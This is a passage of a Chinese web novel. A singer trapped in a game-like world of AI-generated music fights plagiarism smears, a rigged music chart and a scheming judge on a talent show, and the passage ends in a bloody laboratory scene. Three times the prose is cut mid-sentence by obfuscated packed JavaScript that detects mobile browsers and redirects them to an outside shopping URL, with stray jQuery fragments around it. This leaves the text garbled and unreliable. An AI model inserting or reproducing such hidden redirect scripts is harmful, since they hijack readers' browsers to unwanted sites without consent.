至于《百分百舞台》，她对这个综艺的观感很一般，再三考虑过后，还是决定等奖金发了再说。 有人敲门，她离位去开，人还没看清，一股菜香先飘进鼻中，徐佳澍不知在哪找到个围裙穿着，她吓了一跳：“你在这是在玩什么…………？” 不要带上她做这种奇怪的事啊！ 有夏下意识就要关门，一只手抵在门框，徐佳澍面无表情：“吃饭而已。” 出门，桌上已经炒好了几道家常菜，荤素搭配得不错，她好像才想起来，在一起的时候一直是他做饭来着。 也行，总吃外卖也不健康。何况这里似乎连餐饮行业也被智能产物入侵了，无论多贵的外卖都很难吃，全是食之无味的速冻菜，没吃几餐就嘴巴发苦。 吃的是速冻菜，看的是生成片，听的是缝合歌，连花了成千上万追捧的偶像也是智能生成的，有夏夹起一口排骨惨笑，过的都是什么苦日子？ 惨过在现实中坐牢。 一个小时后，丘若雁告诉她，《百分百舞台》的录制时间忽然因事推迟了，有夏姑且没管，很快到了网站活动公平排名的这天，她早早坐在电脑前。 已经好多年没这样狼狈过了，弹幕似乎也跟着激动，还有一些对她转粉的观众纷纷给她打气，开玩笑地说能不能发个红包。 上午十点一到，她立马点进活动征集的页面，界面缓冲加载一阵，她也不急，反正这不是抢鸡蛋，排名不会跑。 按下鼠标右键刷新，三秒过后，迎接她的却是一个巨大的黑色宋体502。 这辣鸡网站的服务器又崩溃了！ 好在一分钟后界面终于刷了出来，她滑动鼠标，榜单已经公布，一看第一名，果然是…………？ 小宇：《泪蝴蝶》 这也不是那天看到的第二名啊？！有夏还以为是自己看错榜单了，继续下滑，终于在第十一名看见了自己那个中二的‘飞天恐龙’。 前十名依次都拿到了奖金，后面的当然就没有了，有夏勉强接受了这个事实，调整出一个客观的心态，点开那首《泪蝴蝶》。 很普通的电子音乐，也是生成的，没有什么不同，一把按下暂停键，她低眸想到什么，抬头去看弹幕的反应。 她知道自己现在失落，有逆反心理很正常，但弹幕总体来说还是客观的，没想到弹幕也很疑惑，纷纷飘过： 【？？？】 【报听，又是生成的歌，不过这个榜单该不会有别的要求吧？是有什么专家来审评过吗】 【没有吧，一开始就说了规则的，收听率至上啊】 【从听众的角度来说，难听，从专业的角度来说，很难听。】 【夏夏别哭】 有夏倒是不会哭，她又找了一下当时的第二名，居然一夜之间就掉到二十名开外了。 而那首《泪蝴蝶》的播放量已经达到了九十万。 —— 化妆室里，两名化妆师正对着韩珂上妆，他今年二十七岁，皮肤身材都保养得很好，除了稳重成熟的气质，岁月没有在他身上留下一点痕迹。 化妆镜圈的圆形灯衬得人皮肤雪白，女化妆师已经上好了眼妆，韩珂便得以睁开眼刷手机玩。 “这个什么…………”韩珂忽然蹙眉，连带着面部肌肉一动，“‘飞天恐龙’是哪冒出来的？”耳机的线被碰掉，眉头拧得更紧，女化妆师下意识停手， 说：“应该是刚注册的音乐人。” 韩珂翘起二郎腿，换个姿势，重新戴上耳机：“这还用你说，我是问这是哪冒出来的十八线？” 女化妆师想了想，把唇妆工具放到一边：“应该就是冲着钱去的新人。”她观察着韩珂的脸色：“可能实力比较突出吧。” 韩珂掀掀眼皮，示意她继续上妆。 门从外面推开，经纪人拿着一叠资料进来：“这一期要带的学员，资料都搞到了。” 韩珂作为在娱乐大国出道的练习生，自认为在唱跳这方面有绝对碾压的优势，化完妆，挥挥手示意女化妆师离开。扫一眼前几张学员资料，“全是这种没听过的十八线。” 几张纸被扔到满是化妆品的桌上，经纪人好脾气地收起来，边笑：“翻红节目不就是这样吗？炒冷饭而已，韩哥你也别太上心，他们以后怎么样，咱们的钱都是照拿。” 综艺毕竟是综艺，况且要想在这个圈子里混出头，光有实力没有资源，也是不行的。 “那是当然，什么人都值得我费心？”韩珂被哄得心花怒放，再次拿起一沓资料翻看，翻到最后一张，手上动作戛然而止。 经纪人收拾着化妆台，韩珂却忽然笑出了声，回头，眉目俊秀的男人坐直身子，目光鄙夷：“这个江有夏还有脸来？” 经纪人把最后一捆化妆刷放进筒中，模棱两可道：“第二期就她的反响最大，不过也没什么粉丝。” 韩珂打开森行音乐的App，划了一会，经纪人已经收好了化妆台，“对了，聂宇那个什么排行搞好没？别又让那些底层刷下去了。” 他也不是差那十万块，毕竟森行老总就是他舅舅，想捧红一个新人也不是难事。但网上的风向一年一个样，这几年反对‘资源咖’的声音越来越大，四面八方都是压力，他只能这样来捧人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564348|142868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>刷数据总没人看得出来吧。 “《泪蝴蝶》吗？”经纪人又拿来抹布擦桌子：“今天早上就登顶了。” 韩珂：“那个‘飞天恐龙’的排名没了吧？” 听到经纪人的答案后，他满意地起身，拍拍刚被化妆师碰到的肩，收起厌恶的神情，走出房门。 公司大楼下照例有一批坚持不懈的粉丝，早早举着长枪短炮，他一出来，几乎要把嗓子喊破： “珂珂有没有好好吃饭！” “啊啊啊啊啊啊啊啊！” “珂宝怎么又瘦了，胡子都没刮！好有男人味！” “是不是又熬夜写歌了，呜呜呜你要注意身体啊宝！” 两个保安无奈地拦着几乎要把防护栏挤爆的粉丝：“大家不要拥挤，不要拥挤。”韩珂一摘墨镜，走到一名连衣裙女生面前：“女孩子要先照顾好自己，爱人先爱己。” 又是一阵惊天动地的尖叫，他在粉丝那的形象一向是‘人间温柔’，粉丝们不顾拥挤伸过礼物，助理一一接过，他一手插兜，暗暗打量后也伸手接了几个，匆匆上车。 蓝牙耳机，留下。 大牌腰包，留下。 男士香水？闻闻，拿手机拍图搜出价格，也不是不行。 ……… 剩下的手写信和毛绒玩具就不是他要考虑的了，用鞋尖蹭到一边。助理识趣地收起来，下车，戴上口罩，一鼓作气扔进垃圾桶。 - 赶到医院的时候，天已经全黑，病房的门打开，中年女医生经验老道，扶扶眼镜：“江与宁的家属是哪位？” 有夏起身，女医生的表情非常凝重：“病人这些天没有休息好，加上旧病复发，可能需要住院观察一段时间。” 跃星的许多事都由江与宁亲手操办，累倒也情有可原，医生又交代了一些事宜，就让她去前台缴费了。 费用不便宜，有夏看着那新到账的三万块钱，咬咬牙，还是先把钱交了。 坐回长椅，她好好复盘了一下现在的情况。 跃星现在极度缺钱，还对营销控场一问三不知，再这样‘傻白甜’下去，离关门大吉就不远了。 她昨晚好好查了查骂她的水军，看似在骂她抄袭还敢上节目，实则一直在把话题往《百分百舞台》其他学员身上引。 除此之外，被提到最多的则是导师韩珂，他是唯一一个没给有夏绿灯的人，许多网友表示都对他路转粉。 “谁知道她那首歌是不是抄的？我支持韩珂。” “现在不跟风的人已经不多了，静等江有夏道歉。” “我感觉那个扒谱视频就是她发的，外行哪看得懂啊？觉得故作专业就能洗白了吗？” 韩珂大粉如是说：“懂得lofi又怎么样？原则问题没得到解决之前，我们哥哥绝不让步。” 走廊上弥漫着消毒水味，医院独有的冷气无孔不入。 她更加坚定了未来科技也治不好脑残的想法。 打个寒颤，有夏捂紧衣服，再次打开手机。 最新的消息是丘若雁三分钟前发来的，还是问她关于《百分百舞台》的事。 大制作给的报价自然不少，无论是丘若雁还是她，都不想丢掉这个机会。她只能先教丘若雁请水军，把网上的风评扭转一些。 不知不觉间，她已经成了团队的主心骨。 不对，弹幕怎么这么冷清？ 召出主控板，排行榜上，参赛玩家已经增加到了两百名，而她的排名被新人挤掉了三名，现在是第一百五十二名。 原来是竞争变大了。 是弹幕反响不够热烈的原因，说直白点，就是观众们感觉还不够‘爽’。 回到跃星，草草吃过徐佳澍备下的晚饭，她再次一头扎入工作室中。 距离下一期的《百分百舞台》录制还有三天。 5. Chapter 5 “不公平，为什么恐龙没有拿第一？” “打压新人算什么本事啊？新晋第一的专辑难听死了。” “都生成音乐了，让让他吧。” 森行的论坛上，已经有人开始为她发声，抨击‘小宇’和森行的作弊行为；‘小宇’的评论区已经被冲了，都是指责他疑似造假的。 想到网上骂她抄袭和在论坛维护她的人可能是同一批，有夏就忍不住想笑。 各路网友路见不平一声吼，打赏加起来快有五万块，有夏表示感谢后，还不忘‘茶里茶气’地表示不要吵架，是自己水平有待提高。 手机亮屏，丘若雁又发来消息：小江，《百分百舞台》还去吗？ 嘴角扬起，关掉笔记本，她打开编曲设备，黑暗的房间登时闪亮。 当然要去。 没多会门打开，徐佳澍照例进来送水果，有夏突然仰起头：“喂我。” “…………” 徐佳澍的表情有一瞬间的害怕。 他是有意缓和他们的关系的，但听到这种话，除了暗幸，也忍不住皱眉：“发什么神经？” 当初她忙于工作，先提了分手不算，现在居然还说出这种越界的要求，把他当成什么了。 弹幕却不管不顾，已经开始起哄： 【男人啊，给你个台阶就下吧】 【他们白天在人前不还是一副陌生人的样子吗】 【就是这样才好嗑啊，谁要看挖心挖肺的脑残剧情啊】 【人前不和人后亲是吧？好香的饭，我吃吃吃】 弹幕的数量关乎玩家的积分，弹幕越多，热度和积分就越高。 他最终………… 最终还是喂了。 森行音乐上，有夏正式给专辑命了名，群众的耳朵是好使的，就算没拿奖，专辑的收藏和收听量很快破了百万，有夏算了算，最终把收入一分为二，一半拿去养水军和营销号，另一半拿去作跃星的开支。 整个跃星终于有了点正常娱乐公司的样子。 - 夜深人静。 F站上，一名叫‘三三鱼’的up主正在扫榜，今年的音乐市场又迎来了更严峻的寒冬。 尽管现在市面上大部分的音乐都由智能生成，但在这种交流氛围浓厚的网站中，仍不乏想靠人力做出音乐的人。 可惜文明断层后，流传下来的乐理知识少之又少，尤其是流行音乐，这些年还被智能产物入侵，原创音乐人的路可谓难上加难。 怀才不遇的人太多了，加上赚不到钱，。‘三三鱼’也是其中之一，眼见仇恨的情绪越来越多，索性开了个账号，专门吐槽各大平台上流行的音乐。 F站是一直视频平台，发家很早，文化圈自成一派，受众群体固定，并不受粉圈文化影响，投稿内容较为多元，三三鱼的视频一发出，立马收获了许多音乐人的点赞打赏。 “乐坛最德不配位的歌手韩珂，新歌是在动物园里叫/床吗？难听。” “这也配叫RAP？听完他的说唱后我惊了。” “歌坛已死，带你分析背后的底层原因。” 情绪得到共鸣，观众们也乐意买账。一个星期前，三三鱼在视频结尾立下flag，只要这一期的打赏破千，他就直播扫榜，锐评热歌。 看热闹不嫌事大的观众很给力，眼见打赏破千，吃过晚饭，三三鱼迫不及待开启了直播。 打开最大的音乐平台森行，三三鱼还不忘欢迎着新进来的观众，其实她也很激动，毕竟审判主流，顺便再赚点钱什么的最爽了。 最先扫的是一周新歌榜，这些多是圈内歌手的新歌，不出意料，大部分还是生成歌曲，三三鱼发挥出毒舌优势，依次听完，每首都痛批一顿。 观众听得心花怒放，但是审判了五六首，弹幕的激情就慢慢消下去了。 看直播的不止有懂行的音乐人，还有纯粹凑热闹的路人，起初觉得有趣，但听到后面，专业名词实在太多，get不到笑点会让人产生失落感，也就选择了退出。 三三鱼有点慌，赶紧和弹幕互动。 【up换个榜单吐槽吧，这些人的歌你不说我们也不会听的】 【up猪up猪，最近那个‘飞天恐龙’很火啊，要不要去听听？】 【我也看到了，想听的朋友把1扣在公屏上】 【11111111】 “走起。” 画面很快转到‘飞天恐龙’的主页：性别女，粉丝量2.2w，关注0，个人简介只有一句Wee，非常神秘。 还是个入驻尚不足一周的新人啊………… 能有多厉害？ 三三鱼照例发出嗤笑的声音：“看来这还是个喝了洋墨水的大佬啊。” 【越没本事越喜欢装神秘，很符合我对新生代的印象】 【支持，现在的新人一个比一个傲气】 不管怎么说，观众的情绪能被调动就是好事。 眼见局势回暖，三三鱼喝完水，恢复信心，继续讲解。 翻到作品栏，仅有的一张专辑叫做《8》，想来是只有八首歌的原因，不过这也太敷衍了点，三三鱼对新人也是火力全开，吐槽完毕，点开专辑，顺手播放第一首歌。 【好土的名字哈哈哈，不会是书上说的那种评弹吧】 【《雨霖铃》是什么鬼？怎么会有人用词牌名当歌名】 【其实还挺有意境的】 一阵嘶哑凄凉的弓弦乐声最先入耳，观众们下意识要在公屏上嘲笑，下一刻，一阵不知名的弦乐响起，像有颗颗宝珠滚过玉盘。 仔细一听，前奏到人声的衔接很自然，女声轻柔而不妖媚，间奏伴随着雨声，笛声悠悠，像故人从烟雨中泛舟归来，满身愁绪，又像在大雪纷飞里策马离去，山回路转不见君①。 直播间里，一时间只剩下乐声。 三三鱼半梦半醒，挠挠头，她这也不是放歌电台啊？ 听了将近一分钟，原本抱着看笑话心态来的观众和三三鱼才反应过来，这似乎是首国风歌曲………… 等等！ 国风？ 【现在谁还会做国风音乐啊，这特喵是新人我吃屎】 【好恐怖的编曲，有好多都是我没听过的乐器】 【这作词水平我跪了，有人懂这句‘赠我一枝春②’吗，第一次对灵气型选手有了清晰的认知】 【现在会写国风音乐的都是牛人，没个几十年功底写不来】 【额，刚才一进来就喷人家装X的人去哪了，如果真的只会装X，她会这么火吗】 吐槽的话如鲠在喉，一曲毕，三三鱼如梦初醒，仿佛还沉浸在歌曲渲染的唯美意境中。 事情好像超出…………不，从一开始就没按照预料走，这个飞天恐龙不但不可能是新人，一些嗤笑过她傲气的人慌了，直播间内顿时多出几十个匿名用户。 她也无法昧着良心吐槽这首歌，于是清清嗓子：“唉？确实还可以啊，我们再来听听下一首。” 第二首歌叫做《漂流瓶》，前奏快到听不见，直接把听众带上高/潮；第三首歌是Hip-hop，第四首是流行舞曲，第五首是R&B………… 八首听下来，没一个重样的。 最恐怖的是，这些风格不是三三鱼和任何一个观众指出的，而是作者‘飞天恐龙’在歌名后面标上的。 好听归好听，但这种音乐不是早就失传了吗，她怎么可能会听还会写啊！！！< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564349|142868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 弹幕炸锅了。 ………… 一场直播下来，三三鱼的粉丝没涨多少，森行音乐上，‘飞天恐龙’的粉丝数倒是翻了一倍。 跃星大楼内，公关部的新人小陈对有夏竖起大拇指：“真的可以！有夏姐，你之前是不是当过营销号啊！” “这倒没有。”有夏拍拍她的肩膀：“以后F站的宣传就靠你了，三三鱼。” - 等候厅里灯光舒适，几名早来的嘉宾衣着光鲜，都坐在柔软的沙发上寒暄。 付黎坐在角落，眼前悬浮着周围人看不到的面板，他是前天被拉进来的，此刻面对这么多陌生人，小腿还是不免发抖。 之前好歹是个当红爱豆，一夜之间变成另一个人，这落差谁受得了啊？ 选手们俨然有备而来，愣神之际，一名女歌手向他打招呼：“听说你之前是选秀节目出身？就是爱豆吗？” 付黎立即露出一个亲近的笑容：“对，我是成团出道。” 女歌手扎着酷酷的高马尾，点点头。门从外面打开，又陆续进来几个面生的男女歌手。 “江老师？！” 付黎突如其来的一嗓子把在场的人都吓得看他，又看看那个被称为‘老师’的女选手。 抄袭狗还敢来？！ 现场差点有人喊出声，意识到在录节目，瞪着眼生生憋了回去。 “你们…………认识啊？” 有夏若无其事地坐下，淡笑着说可能是认错人了，付黎想起这是在副本里，连忙改口。 NPC很好糊弄，几句话搪塞过去。趁人说话之际，付黎连忙凑过来，挠挠头：“不好意思啊，我太激动了。” 有夏正是他出道的综艺的导师之一，还指导过他发声的技巧，当然知道有夏不可能抄袭。 今天是半决赛，至关重要。 二十分钟后，四位导师陆续到场，正式开始。 先上场的是三个女生，走的是甜美校园风，舞蹈活泼可爱，一支舞跳到一半，韩珂最先亮起绿灯。 后台，大半学员都眼红了，天知道韩珂导师的绿灯有多难拿！ 三个女生下台，又上了几个人。中场休息的时间，实时直播舞台的屏幕熄灭，下了台的学员各自休息喝水，准备上台的学员热身准备。 导师休息室。 “韩老师还是这么严格？”歌手珵越笑得有点讨好，一边翻阅着手里的学员资料：“都两期半了，就给了两次绿灯。” 韩珂靠在椅子里，化妆师俯下身补妆，丁煦半开玩笑：“这届水平不太行，有几个长得也不好看。” 女导师孟韵轻笑着加入话题，“后面有个漂亮的学员，如果到时候表现得不好，你们也会给绿灯吗？” 丁煦挠头：“那也不是，我们这又不是花瓶争霸赛。” 大家都笑了，虽然只是玩笑，但也纷纷看向久久沉默的韩珂。 他的资历不是最老的，实力暂时不好说，毕竟也不是一个赛道，但唯一可以确认的是，他的背景是最硬的。 韩珂不说话，另外三人只能等着。 “江有夏吧？”韩珂悠悠开口，微微偏头看向同行们：“就是那个抄袭的，她又来了。” “啊？” 异口同声，珵越拿起有夏的资料看看：“可她上次的表现也不像…………” 韩珂受到小小的忤逆，眉峰微拧，懒得亲自辩解，招招手，示意助理打开手机给他们看。 “不能让这种毒瘤腐蚀了圈子。”韩珂捏捏眉心，拿出其他人的资料：“一首歌写得好就能原谅抄袭，让后面的学员怎么办？” 合情合理，三人相视，不敢再反驳。 下半场的录制很快开始。 6. Chapter 6 又一个选手上台，实时直播舞台的屏幕重新亮起。 首先出场的是一位男学员，他一上场，台前幕后的人再次被震惊，倒不是因为他的外貌打扮有多惊艳，而是他的风格和一众人比起来，实在太不一样了。 他唱的歌居然是民谣。 歌声娓娓道来，自带着从雪山中走来的圣洁感。没有低俗的网络热梗，也没有矫揉造作的歌词，看惯了流行音乐舞曲的众人顿时眼前一亮。 整首曲子的曲风非常新奇，他还别出心裁地加入了民族乐器，给歌曲平添了一份神秘感，耳目一新。 表演完毕，后台的大部分选手都站起来鼓掌。 有夏也是发自内心地欣赏这个男生，几名导师给出的评价很好，男生看着一头长发，感谢的时候却很腼腆。 三个人给出了绿灯，还有一个丁煦因为次数限制，只能给出黄灯，但也是很不错的结果了。 “我先问一下，你知道我们节目的主旨吗？”韩珂最后一个表态，台上的男生年纪不大，立马站直身请教，“您是说音乐的主旨吗？我这首歌…………” “我是说节目的理解。”韩珂把笔放了打断他，双手交叉：“而且不是什么歌曲都配得上音乐性这三个字的，如果你想走乡村大舞台那套，建议换个节目演奏你这首歌。” 男学员挠挠头，很真诚道：“可咱们节目不是说，要做出许多不一样的音乐吗？风格特别一点，应该也…………” “所以你觉得你这首曲子很特别？”韩珂挑起嘴角，右手食指关节点点台面：“你不知道？音乐人最忌讳的就是自诩独特，哗众取宠。” 有夏在后台看到这一幕，眉头轻轻一簇，露出个不太明显的冷笑。 什么导师？连音乐性都说出来了。 看他没说两句就有点换不过气，功底太差，恐怕只是个搔首弄姿的老白脸而已。 韩珂继续点评了几句，措辞犀利得几近刻薄，即便其他导师说了一些场面话，也没给绿灯，男学员挠挠头，始终不知道自己错在了哪，时间一到，只能面露尴尬下了台。 下一组就是有夏，韩珂拿起资料，看似无意朝另外三人一瞥，见没人和自己唱反调，嘴角的笑意更加明显。 “那么就有请下一位…………” “稍等稍等。” 几名工作人员突然跑上台，气都没喘匀，蹲在几人中间说了些什么。 四人听完神色各异，工作人员搓搓手，最终说：“真对不起几位老师，导演那边已经说好了，后天补录。” 韩珂略有点不满地‘啧’了声，最先离开。 很快学员们也得知了这个消息，还没上台的都挺高兴，导演组安排好一些事宜，学员们陆续离开演播室。 等到所有人都离开，有夏才悄悄从最里面的更衣室出来。 不知道是哪个正义使者看她不惯，把门反锁了！ 走到灯光熄去大半的走廊，前方传来一阵低低的交谈声。 是两个男声： “韩哥，你那样会不会说太明显了，到时候你只给我晋级，观众不是一眼就看出来了。” 这个声音很耳熟，有夏站定，脚下一顿一硌，昏暗中，耳畔炸开清脆的一声‘嘣’。 居然是个空的矿泉水瓶。 草！ 有夏飞速捡起的同时在心里把随地乱扔的垃圾人骂了一万遍。 扑通扑通，心跳鼓雷一般跳动着，只差猛地一发力就出胸腔。 “谁在那里？！” 空气静得可怕，长而无光的走廊里空无一人，地上的黑边长毯印花呈扭曲的彩虹状，像几百只彩色的长触手在爬，看久了让人头晕。 整条走廊有点借鉴哥特式城堡的装修，仿佛某个角落就藏着吸血鬼。墙后，有夏尽力保持着冷静。 【好吓人，这啥装修啊】 【她在搞什么啊？不会想要偷东西吧】 【前面的干嘛那么刻薄，人家招你惹你了】 两道声音继续交谈，韩珂的声音低沉得近乎听不见：“怕什么？到时候多买几个热搜就是，而且我又不是没给其他人绿灯，谁敢质疑？” 另一个声音年轻许多，带着担忧：“可是那个唱民谣的实力太突出了，对了，后台还有一个，就那个江有夏，我看根本不像是新人，直接淘汰会不会有点说不过去。” 脚步声在几米开外顿住，有夏往里挪了挪，手机发出震动声，脚步声再次响起。 “等等我！” 两个学员拎包出来，撞见韩珂的瞬间有点紧张，礼貌道别后匆匆离开。 虚晃一枪，有夏从花架后探出头。 “韩哥，我…………” 韩珂有点不耐烦：“这种买点黑料就能解决的事，你操这么多心干什么？”顿住，他冷笑出声：“你是来出道的，还是来做慈善的，要不你去给她当经纪人？” “可是…………”他说了太多，终于受到某种严厉的制止，索性岔开话题：“算了，不过韩哥，你真要泡那三个女的啊？” “有什么不行？”打火机点起的声音回荡在走廊：“收起你的圣母心，你知不知道，为了捧你，团队可是顶着污蔑抄袭的风险，不要让我们失望。” “您说得是…………” 香烟味宛若鬼魅游走在整个走廊，声音越来越小，二人很快离开；有夏蹑手蹑脚走出来，才走到转角，一道身影冷不丁出现在墙边。 室内和窗外已经几近全黑，身影背着光，脚下黑伞还在滴水，格外诡异。 有夏硬生生把涌到嘴边的尖叫按了下去。 “怎么了？”背对着的光散去，徐佳澍一眼瞥到她手中的矿泉水瓶，若有所思，须臾淡声道：“你现在喜欢这种？” 有夏：“啊？” 随着他的视线下移，她拿起水瓶，外包装上的代言人正是韩珂，被她踩了一脚的部位已经瘪了，人脸凹陷下去。 不远处就是个垃圾桶，有夏毫不犹豫把瓶子扔进去，他轻笑：“扔了干嘛？” 有夏恶心得不行，偏偏徐佳澍现在戏瘾上身，弹幕里又出现了CP粉，她无奈地配合：“分手后想换换口味。” “是吗？” ………… 演完CP粉们最爱看的桥段，回到跃星，洗过热水澡，她就在工作间里继续写歌。 ‘江有夏’的名声暂时坏一点没关系，‘飞天恐龙’无论如何都要保持高洁神秘的人设。 晚上八点准，许多累了一天的用户像往常一样打开F站，主页推送的视频里，新秀up三三鱼的直播已经开始： 【整活系列，以音乐人的角度锐评歌坛2.0】 但凡是下载了F站的人，无论白天是一丝不苟的业界精英，还是校园里恬静乖巧的好学生，谁不喜欢看吐槽呢？ 直播间实时观看人数达到1000后，三三鱼出声，象征着正式开播。 F站是受粉圈影响最小的平台，也没几个知名艺人入驻，只要不吐槽点评得太过分，是不会出事的。 “今天不扫榜了嗷。”三三鱼的语气依旧挑剔犀利，还带着点F站up主独有的搞笑感：“朋友们，我们今天来看音综，就是这档频频传出抄袭的百分百抄…………啊不对，《百分百舞台》！” 吐槽综艺也是F站最近的一大热题材，对技术和剪辑的要求不高，却足够吸引人。弹幕上已经有人刷起了礼物，三三鱼也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564350|142868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不废话，直接开始。 这档综艺迄今只播了两期，由于第一期争议最大，三三鱼当然知道，毫不犹豫点进去。 开场的特效非常华丽，赞助商的广告播完，韩珂惨白的脸突然出现在屏幕上。 【吓我一跳，我还以为是哪个人妖】 【开幕雷击，我在吃饭啊】 【鬼图打码】 【今年的音综请的都是什么人啊，往年还能有个老牌歌手，今年全是流量】 【一代不如一代】 能点进这种直播的人对明星基本不会有好感，一阵调侃过后，直播间的气氛火热了好几个度，弹幕满天飞。 旁白介绍完导师阵容，画面一转，是温馨舒适的学员等候室。 学员们最先进场，一共十五名，造型各异，三三鱼讲解着，介绍到有夏的时候，顺嘴道：“这姑娘前几天被爆出了抄袭。” 考虑到F站的特殊性，她补充一句：“知道的把2扣在公屏上。” 满屏的弹幕出现了一些‘2’，不多不少，但也有道德感没那么强或不了解的观众发表意见： 【是吗？歌坛那堆人天天搞生成音乐，和抄袭有啥区别】 三三鱼轻笑一声，然后平等地把每个人都挑刺几句，继续讲解。 ………… “接下来我要演唱的歌曲是《枝桠》，谢谢大家。” 画面中，黑长直的蓝裙女生上台，正是江有夏，导师们起初都用欣赏的目光看向她，可歌曲唱到一半的时候，后台的一个男生的表情先变了。 客观来说。歌不算难听，就是质量比较高的生成音乐，没什么风格可言，但矮子里面拔高个，三三鱼难得夸赞一句。 但是很快，弹幕的一条质疑就打破了难得和谐的直播间： 【《枝桠》个屁啊，我搜到了，这已经不是生成音乐那么简单了，这是抄袭！】 消息一出，乐子人们本来还想劝他别这么打抱不平，可看到被抄的歌名和作者时，也全都忍不住了。 【WTF？原作是蓝蓝老师的《绿豆粥》】 【啊？我听着她的歌长大的，乐坛最后一批坚持不唱生成音乐的人】 【和弦都一样，绝壁是抄的】 三三鱼注意到弹幕，来不及说什么，一条点赞数最高的弹幕被放大在屏幕中央：【据说有个账号出了两首歌的扒谱视频，up带我们看看呗】 观众是上帝，没办法，她搜到那条视频，带着观众们看完，语气无奈：“这视频做得太玄乎了，连圈内人都看不懂。” F站观众的想法与她一样，认为这个内外行都看不懂的视频就是个垃圾，就算是江有夏做的澄清视频又怎样？谁知道你是不是在偷换概念。 蓝蓝是不少人心目中的童年女神，事情一出，看音综的心情也没了。 只恨江有夏没开通社交账号，不然非得去评论区撕烂她！ 眼见气氛不对，三三鱼也不敢乱来，最终打开森行音乐，放了首舒缓安宁的歌。 女声带着淡淡的忧伤，节奏律动扣人心弦，观众一看，又是‘飞天恐龙’的歌，有了抄袭狗的对比，一些原本不怎么了解‘飞天恐龙’的新观众都对她有了新的看法。 最后观众齐齐表示：希望江有夏那样的裁缝狗少一点，‘飞天恐龙’这样的民间高手多一点。 一场直播在气愤中结束，陈渔摘下耳机，拍拍脸，有夏坐在旁边，递来牛奶：“辛苦你了。” 她也有属于自己的直播，弹幕和她目睹了F站上直播的全程，讨论度直线上升。 十点钟，排名已经冲到接近前一百名的位置，有夏起身关灯，睡觉。 她自己也很期待呢。 7. Chapter 7 City 高楼顶层，西装老者正指挥着一群通体银白的机器人统计着数据。 其实这个实验投入以来，真正能完全取得观众喜爱的玩家寥寥无几，即便他们都是原来世界的风云人物，但大多数人来到这个世界后，都因为摸不准方向而死得很惨。 众口难调。 更何况，他们看到的只有冰山一角，他当然不能一开始就将真相和规则全盘托出，那样还怎么进行得下去。 “嗒，嗒嗒嗒————” 十几名面瘫机器人的手指快要在键盘上敲出火星子，室内无人说话，只听见键盘噼里啪啦的声音。 房间里电光闪烁，老者很满意地在一排机器后负手巡逻，走到一个机器人面前，尽管也分辨不出它和其他人有什么区别，还是拍了拍它的肩头。 “滴——” 十几个整齐划一的机器人停下，房间立马收声，一张巨网般的绿色透明大屏幕投影而上： “检测结果已出，检测结果已出。”机器人笨拙地模仿着人类的语调：“距今为止，热度涨幅最快的玩家是，江有夏。” 老者的无框眼镜被对面的光亮衬得雪白，这个名字并没有让他掀起太大的波澜，走上主控台操纵几下，有夏的所有资料很快如数浮现。 “女明星啊？”老者扶扶眼镜，呵呵一笑：“年年都是这些名利场里的人精。” 以往名列前茅的也多是较为年轻的人，这个结果不出意料，老者也没兴趣了解有夏的作品，刚要再示意什么，门突然被一个男人撞开。 机器人们作出僵硬的惊吓反应，男人穿着一身红衣，不，被血染透的白大褂，语气中控制不住的颤抖：“解刨失败，林俞咬舌自尽了。” “什么？！” 十几把沾满鲜血的手术器材摆在铁盘内，半机械的医护人员们站在手术台两排默哀，都是一样的面具，合理又滑稽。 其实他们谁也不知道为什么要默哀，但人类把他们创造出来的时候，确实又自带了这个设定。 林俞的身体宛若菜市场上的鸡骨架，主刀医生用干干的声音解释：“抱歉，我们没有找到关键部位，除了大脑。”他看了看铁盘里那坨饺子馅一样的烂肉：“但是也没有收获。” 老者已经换了三张帕子捂鼻，脸色惨白，快要被血腥味熏晕过去：“那为什么会咬舌自尽？” 医生：“抱歉，我们无法获取他们的内心感情。” 老者皱眉，其实是被狭小空间内的血肉味熏得想吐。 机械医者们可不懂眼前的人类是在害怕，疑惑地歪了歪头，一把将尸体拎上：“不满意的话，您也可以亲自察看。” 看得出来，他已经在拼尽全力模仿人类的情绪了。 老者再也无法维持体面，狼狈地摔倒在地，双手撑着垃圾篓干呕不止。 “带下去吧。”换下血衣的男人一挥手，代替老者开口，林俞的尸体被蒙上白布推出去。男人说：“老师，下一步的目标…………” “先，呕…………先不要动。” 白床单还在滴血，黏糊糊干涸在地。 起来刷牙的时候，徐佳澍正在厨房里煮东西，过去一看，是不知上哪买的面条，旁边的菜板上还有青菜和肉，“好勤快。” 徐佳澍头没回，把青菜缓缓拨进锅里，盖上，“从前也是我在做。” 